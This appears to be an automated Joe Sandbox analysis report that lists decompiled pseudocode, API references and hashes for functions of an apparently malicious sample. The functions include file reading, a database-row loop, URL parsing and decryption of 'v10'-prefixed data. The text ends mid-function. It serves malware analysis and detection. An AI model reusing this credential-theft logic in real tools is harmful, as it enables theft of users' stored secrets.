API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: db001451961be76c8e742e0cd101020905d721f6d15dba8895b5dc8abf7ce8be
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: CF3174B1900118ABCB14DFA4DD46FEA73B9EF4C300F0485A8F70997251D635DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x83b3e8
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x83b588
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 006C8760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C87DF
RtlAllocateHeap.NTDLL(00000000), ref: 006C87E6
lstrcat.KERNEL32(?,?), ref: 006C882D
lstrcat.KERNEL32(?,00418BC4), ref: 006C883F
lstrlen.KERNEL32(?), ref: 006C884E

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: c24cb40af139655685c808f4d0ee6bfcc5aa94c88df7956e1ea12b7d0024e7e2
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: C13198B1900108ABCB14EBA4DD46FEA73B9EF48700F0085A8F719D7151DA35DA61CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006C75D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,006C7900,00000000,?), ref: 006C75F7
GetFileSizeEx.KERNEL32(000000FF,006C7900,?,006C7900,00000000,?), ref: 006C761C
LocalAlloc.KERNEL32(00000040,?,?,006C7900), ref: 006C763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,006C7900), ref: 006C7665
LocalFree.KERNEL32(?), ref: 006C769B
CloseHandle.KERNEL32(000000FF,?,006C7900,00000000,?), ref: 006C76A5

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: ec42175b066bc6682db6f2662488fd075dc7a696aaf5c609df3c11135bc52961
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: D631C5B4A04209EFDB14DF99C888FEEB7B6FB48310F108159E915AB390C774AA51CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006C6B40, Relevance: 9.1, APIs: 6, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 006C6BC1
lstrcat.KERNEL32(?,0041A60C), ref: 006C6BD5
sscanf.NTDLL ref: 006C6C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006C6C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006C6C38
ExitProcess.KERNEL32 ref: 006C6C52

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: 90f6fb6ca535df3431f8f95b8a03f38ef5ce4c03953379923c8183f6e02b8382
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 4331EEB2D1121CABCB58DF94DD85ADEB7B9EF48300F0085EAE149A2150EB345B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006D2340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,006D2D2E,?,?), ref: 006D23B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,006D2D2E), ref: 006D240A

Strings

.-m, xrefs: 006D246E, 006D24C3, 006D2471

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: FilePointer
String ID: .-m
API String ID: 973152223-3736860146
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 89239dd7cc52ef9095b8c24ab2142e42a9efe1b55872d6260097a604ff6ae00e
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 7C51B574D002099FDB04DFA8C494BEEBBF5BB48304F14C25AE825AB391D775A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 006D2000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 006D2060
memcpy.NTDLL(00000000,?,000000FF,?,006D2AED,?,000000FF,?,00004000), ref: 006D208C
memcpy.NTDLL(?,00004000,000000FF,?,006D2AED,?,000000FF,?,00004000), ref: 006D211D

Strings

*m, xrefs: 006D206E

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: memcpy$new[]
String ID: *m
API String ID: 3541104900-3092858193
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: d125ea8aca9e33d894cdb4c37023b30a0ccc7dd9f644d0bfefc56a2fc3e4bdc2
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: 5851B7B4E0020ADFCB44CF98C495EAEBBB6BF98314F508159EA15AB345C731E991CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

@, xrefs: 0040499C
<, xrefs: 0040498F
http, xrefs: 004049CC

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 006CAF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006C5A0A), ref: 006CAF3D
RtlAllocateHeap.NTDLL(00000000), ref: 006CAF44
GetLocalTime.KERNEL32(?,?,?,?,?,006C5A0A), ref: 006CAF51
wsprintfA.USER32 ref: 006CAF7E

Strings

Zl, xrefs: 006CAF57, 006CAF5B

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: Zl
API String ID: 377395780-4136027241
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 006C4BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 006C4C00
InternetCrackUrlA.WININET(?,00000000), ref: 006C4C0B

Strings

@, xrefs: 006C4BEC
<, xrefs: 006C4BDF
http, xrefs: 006C4C1C

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: 8c763102bf2c18a6f5a6b8d209e00153b80ea4ffac6ef19ece0ee4048d1dcb10
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: 7EF0BDB590120CABDB14EFE4E895FED7BBDEB44340F00851CFA04AA290DF78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006D1D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 006D1DF4

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: 3e4284739b8cb156606f2d352eae74c7f7bf231798f71e0f99290ffdab3f6aa5
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: 5561DCB4E0020AEFDB14CF54C544BAAB7F2BB45315F20865AE8456F381C7B4DE81CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

@, xrefs: 0040728A
v10, xrefs: 0040724E

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 006C7480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006C74D2
LocalAlloc.KERNEL32(00000040,?), ref: 006C7521
lstrcat.KERNEL32(?,00000000), ref: 006C7587

Strings

v10, xrefs: 006C749E
@, xrefs: 006C74DA

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: e87be58d2850a7bf5fb1d428e021d69c2f1a519891c1c0a625851445c89cc761
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: E4414A71A04218EBDB14CFD4D844FEDB7B5FB48340F108159F505AB280DB74AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
